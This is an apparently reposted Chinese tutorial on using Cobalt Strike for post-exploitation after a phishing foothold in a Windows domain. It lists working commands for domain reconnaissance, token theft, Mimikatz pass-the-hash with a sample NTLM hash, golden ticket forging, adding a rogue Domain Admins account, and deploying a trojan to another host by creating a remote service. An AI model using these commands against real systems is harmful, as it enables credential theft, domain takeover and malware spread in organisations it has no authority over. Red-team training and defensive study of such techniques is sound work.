攻防基础工具系列 Post Exploitation工具 Cobalt Strike

本篇文章将介绍Cobalt Strike的基础用法,这里面会给出一个完整的例子,来讲解如何使用Cobalt Strike完成一次完整的内网渗透

前置条件

假设我们通过钓鱼邮件,控制了域内一台普通员工机器。接下来,我们如何进行横向移动呢?


image-20200131150530973.png

进入命令行

攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第1张图片
image-20200131151142788.png

点击interact,进入命令行界面

攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第2张图片
image-20200131151252691.png

信息收集

对于我们而言,需要

  1. 获取单台机器的Administrator权限,这样才能在这台机器上做更多的事情
  2. 获取域的Domain Admin权限,这样才能在域内为所欲为

故我们先要获取当前的信息

run systeminfo        查看当前系统信息
help net              查看net相关命令
net computers         查看域内所有电脑
net share             查看共享
shell whoami /all     查看当前用户
run net view /DOMAIN  查看当前域
run wmic computersystem get domain 查看当前域
run c:\windows\sysnative\nltest /dcList:mogong.org 获取域控服务器
run net group "Domain Controllers" /DOMAIN 获取域控服务器
run net group "Domain Computers" /DOMAIN  获得域所有电脑

以上操作也可以通过powershell来进行

powershell-import C:\Users\xxxxxx\Downloads\PowerSploit-master\Recon\PowerView.ps1       导入powershell库
powershell Get-NetDomain         获取当前domain信息
powershell Get-NetDomainController 获取domain controller信息
powershell Get-NetComputer       获取当前域内所有电脑
run nslookup WIN-Exchange.mogong.org      Netbios转IP
run ping -n 1 WIN2012DBServer.mogong.org  Netbios转IP
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第3张图片
image-20200131152028843.png

权限提升

Access Token 该token中保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token

获取身份信息 (Account Discovery)

ls \\WIN7-2019OAEDZP\C$           判断当前是否为Local Administrator用户
run net localgroup "administrators" /DOMAIN  
run net group "domain admins" /DOMAIN
run net group "enterprise admins" /DOMAIN  获取域管账户名
powershell Find-LocalAdminAccess  获得当前账户在哪些机器上有权限(注意 这个需要先powershell-import,参见前面)

Token (Token窃取)

很多时候,如果我们利用漏洞打的某个系统,执行的权限很可能是本地用户权限。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。

ps                      先执行ps查看当前进程,有哪些进程是其他用户身份
steal_token [pid]       对该进程执行steal_token操作
getuid                  查看当前自己的身份
rev2self                清除Token

Password

可以直接使用该Password进行登录操作,我们一般通过Mimikatz可以获得一批明文的用户名 密码,然后用该明文用户名 密码来进行登录。

或者获得密码Hash后进行破解,然后使用该用户名密码登录。

又或者通过泄露的github或者其他明文数据库获得进行登录。

Password Hash (Pass The Hash)

Pass The Hash需要操作lsass.exe进程,故要执行该操作,需要在高权限情况下。具备Administrator/System权限。

Ticket (Pass The Key )

通过krbtgt账户制作Golden Ticket

两个提权例子

前置条件

无论是PassTheHash 还是Golden Ticket,在执行之前都需要获取password hash。PassTheHash需要的是用来PassTheHash的账户的password hash,而Golden Ticket需要的是krbtgt账户的password hash。

通常有两种方法来获得password hash

  1. dump hash,无论是通过mimikatz还是hashdump的其他工具
  2. dcsync , 可通过dcsync获得任意账户hash

dump hash前需要是system/administrator权限。故可以寻找自己当前账户到底在哪台机器上是administrator,然后访问该机器,在该机器上进行dump。


攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第4张图片
image-20200131184916002.png

Pass The Hash

Pass The Hash建议使用mimikatz进行。同时要注意,在微软打过补丁的机器上,只能对RID为500的Administrator账户进行Pass The Hash。

  1. 使用mimikatz 进行Pass the Hash
mimikatz sekurlsa::pth /user:Administrator /domain:mogong.org /ntlm:fae586ada95966ab3bfe8d3f6e00b5ac /run:"powershell -w hidden"
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第5张图片
image-20200131190353119.png
  1. 对生成的进程执行Token窃取
steal_token 23556  (pid为mimikatz执行完后的pid,参见上图)
  1. 查看当前的权限
    由于我们这里Pass The Hash使用的是域管理员的账户,我们可以试下当前的权限
run net user wangerxiao wangerxi@1234 /add /domain   在域内添加账户
run net group "Domain Admins" wangerxiao /add /domain  添加为管理员
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第6张图片
image-20200131193851743.png

Golden Ticket

Golden Ticket需要以下三个前置条件:

  1. krbtgt账户的password hash,通过dcsync或者hashdump获得
  1. 当前账户的SID。

    run whoami /all
    

    这里注意,去掉最后一个横杆分割的位置,才是正确的SID,下图的SID是:S-1-5-21-1607583168-1955814511-974716307


    攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第7张图片
    whoami.JPG
  2. 域全名:mogong.org

创建过程如下图:


攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第8张图片
image-20200131195020028.png
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第9张图片
image-20200131194933025.png

查看生成的ticket和权限:

run c:/windows/sysnative/klist    查看缓存的ticket
ls \\WIN-FRC25LFIC8A\C$           查看域控的C盘

横向移动

获得内网开放端口服务

portscan 192.168.3.0-192.168.3.255 1-1024,3389,5000-6000 arp 1024

攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第10张图片
image-20200131175544443.png
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第11张图片
image-20200131175753128.png
攻防基础工具系列 Post Exploitation工具 Cobalt Strike_第12张图片
image-20200131175903893.png

横向移动

按以上提权的方式,我们在某台机器上通过Golden Ticket或者Pass the Hash成为了域管理员。

此刻我们想控制域内的其他机器。

上传文件

  1. 在具有管理员权限的机器上,进入一个可上传的目录,这里使用Public Music目录

    cd C:\Users\Public\Music
    
  2. 上传生成的木马

    upload
    
  3. 从该目录拷贝到远程可访问机器的可写目录

shell copy artifact.exe \\WIN2012DBSERVER\C$\Users\Public\Music

远程执行

这里使用远程服务的方式执行

shell sc \\WIN2012DBSERVER create foobar binPath= "c:\Users\Public\Music\artifact.exe"     创建服务(这里binPath=后面要留一个空格,否则没法正常创建服务)

shell sc \\WIN2012DBSERVER start foobar  启动服务

成功上线

你可能感兴趣的:(攻防基础工具系列 Post Exploitation工具 Cobalt Strike)